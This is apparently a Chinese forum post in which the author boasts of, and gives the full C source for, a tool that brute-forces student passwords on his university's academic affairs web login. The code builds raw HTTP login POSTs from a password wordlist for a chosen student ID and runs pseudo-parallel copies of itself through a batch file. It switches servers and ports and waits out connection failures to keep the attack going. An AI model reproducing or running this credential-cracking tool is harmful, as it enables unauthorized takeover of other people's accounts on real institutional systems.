这是我写的暴破web密码c源代码,产生自卑感了吗?
取这么欠扁的标题,的确是吸引人点击只用,望不要怀着一腔怒火与不屑,看完以下内容。
只见用c编个游戏拿出来晒的,不见其他让人兴奋的。。。
于是,自从坛友无私提供了c++的发包代码后,以我的c语言水平写成了这么个玩意。
暴破学校教务系统密码,幸好系统老,赶上现在这么个验证码横行的年头,我就不好做事了。
网速好的情况下一秒钟能尝试600个密码。
//Let's hack it
#include <stdio.h>
#include "winsock2.h"
#include"time.h"
#pragma comment(lib, "ws2_32.lib")
static FILE * fp=NULL;
long ftc=0;
long rftc=ftc;
long st;
long fi;
long qcut;
long qcat;
long jis=0;
void gotoxy(int x,int y)
{
int xx=0x0b;
HANDLE hOutput;
COORD loc;
loc.X=x;
loc.Y=y;
hOutput=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(hOutput,loc);
return;
}
int post(char *pg,char *pw,char*gmurl,int gmport){
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR ){
printf("Error at WSAStartup()\n");
}
// Create a socket.
SOCKET m_socket;
m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( m_socket == INVALID_SOCKET ) {
printf( "Error at socket(): %ld\n", WSAGetLastError() );
WSACleanup();
}
// Connect to a server.
struct sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(gmurl);
clientService.sin_port = htons( gmport );
if ( connect( m_socket, (SOCKADDR*) &clientService, sizeof(SOCKADDR)) == SOCKET_ERROR){
gotoxy(26,3);printf("%-5d",ftc++);
WSACleanup();
}
int bytesRecv;
char recvbuf[1024];
send( m_socket, pg, strlen(pg), 0 );
bytesRecv = recv(m_socket, recvbuf,1024 , 0);
recvbuf[bytesRecv+1] = 0;
fi=clock();
gotoxy(13,0);printf("%8ld",jis);
gotoxy(13,1);printf("%8.2f",(float)(fi-st)/CLOCKS_PER_SEC);
gotoxy(13,2);printf("%8.f",jis/((float)(fi-st)/CLOCKS_PER_SEC));
if(strlen(recvbuf)>1000)
{gotoxy(0,8);printf(" ");printf("\nFound password:%s\n\n\n\n\n\n\n",pw);system("del userID");system("pause");fclose(fp);exit(0);}
jis++;
closesocket(m_socket);
return 0;
}
int paus()//2 minutes
{
long zt1=clock();
long zt2;
while(1)
{zt2=clock();
if(((float)(zt2-zt1)/CLOCKS_PER_SEC)>120.0)
return 0;
}
return 0;}
int main()
{
system("title=学生系统密码暴力破解程序 Powered by c语言 Copyright:动后河");
int i=0;
int switchnum=0;
char * gmurl1="";
char * gmurl2="";
int port1=80;
int port2=83;
int port3=80;
char stl[4];
char pw[50];
char ui[17];
int nos=0;
FILE * flag=fopen("1.1","r");
if(!flag)
{char mw[50];
int mw1;
FILE* userID=fopen("userID","w");
puts("暴力破解学生系统密码");
printf("输入要暴破密码的学号:");
gets(ui);
if(strlen(ui)!=9)
{puts("你输入的不是形如""的学号,你确定?");system("pause");}
fprintf(userID,"%s\n",ui);
fclose(userID);
flag=fopen("1.1","w");
printf("Input number of threads[this is artificial multithread:)] :");
scanf("%d",&mw1);
sprintf(mw,"for /L %s%si in (1,1,%d) do @start 扬大学系暴破.exe","%%","%%",mw1);
FILE * bat=fopen("multi.bat","w");
fprintf(bat,mw);
fclose(bat);
fclose(flag);
system("multi.bat");
system("del multi.bat");
}
else
fclose(flag);
FILE * ReadId=fopen("userId","r");
if(ReadId==0)puts("Creat file :userId wrong!");
fscanf(ReadId,"%s",ui);
fclose(ReadId);
fflush(stdin);
char pafi[12];
printf("Input password file (for example:pw.txt ) :");
gets(pafi);
system("cls");
if((fp=fopen(pafi,"r"))==0)
{system("cls");puts("No that file!");system("pause");exit(1);}
qcat=qcut=st=clock();
char pg[1025];
printf("Have tried passwds\nUsed time is s\nSpeed is passwords/s\nNum of Failed to Connect: %d\nPassword File you chosen is: %s\nUserId you Inputed: :%s\n",0,pafi,ui);
puts("\n\npassword still not found!");
if((flag=fopen("1.1","r")))
{fclose(flag);system("del 1.1");}
while(1){
while((pw[i++]=getc(fp))!='\n');
pw[i-1]=0;i=0;
if(!strcmp(pw,"$"))
{fi=clock();
system("cls");
printf("Have tried %8ld passwds\nUsed time is %8.2f s\nSpeed is %8.f passwords/s\n",jis,(float)(fi-st)/CLOCKS_PER_SEC,jis/((float)(fi-st)/CLOCKS_PER_SEC));
puts("password not found in this FIle!");system("del userID");fclose(fp);system("pause");return 1;}
sprintf(stl,"%d",strlen(pw)+17+strlen(ui));
qcat=clock();
if(ftc!=rftc)
{rftc=ftc;
if((1/((float)(qcat-qcut)/CLOCKS_PER_SEC))>20.0)
switchnum++,nos++;
if(switchnum>4)switchnum=0;
switch(switchnum)
{
case 0:gotoxy(0,7);printf("Switch url: port:");break;
case 1:gotoxy(0,7);printf("Switch url: port:");break;
case 2:gotoxy(0,7);printf("Switch url: port:80");break;
case 3:gotoxy(0,7);printf("Switch url: port:80");break;
case 4:gotoxy(0,7);printf("Switch url: port:80");break;
}
if(nos%10==0)
{gotoxy(0,8);printf("Not access,will continue after 2 minutes");paus();gotoxy(0,8);printf(" ");}
}
qcut=qcat;
sprintf(pg,"POST sp HTTP/1.1\r\n"//wo zhe
"Host:\r\n"//
"Proxy-Connection: keep-alive\r\n"
"Content-Length: %s\r\n"
"Cache-Control: max-age=0\r\n"
"Accept: \r\n"
"Origin: \r\n"//
"User-Agent:\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Referer:\r\n"//
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: zh-CN,zh;q=0.8\r\n"
"Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3\r\n"
"Cookie: JSESSIONID=\r\n\r\n"
"userId=%s&userPass=%s",stl,ui,pw);
switch(switchnum){
case 0:post(pg,pw,gmurl1,port1);break;
case 1:post(pg,pw,gmurl1,port2);break;
case 2:post(pg,pw,gmurl1,port3);break;
case 3:post(pg,pw,gmurl2,port1);break;
case 4:post(pg,pw,gmurl2,port2);break;
default: puts("switch wrong!");}
}
system("pause");
return 0;
}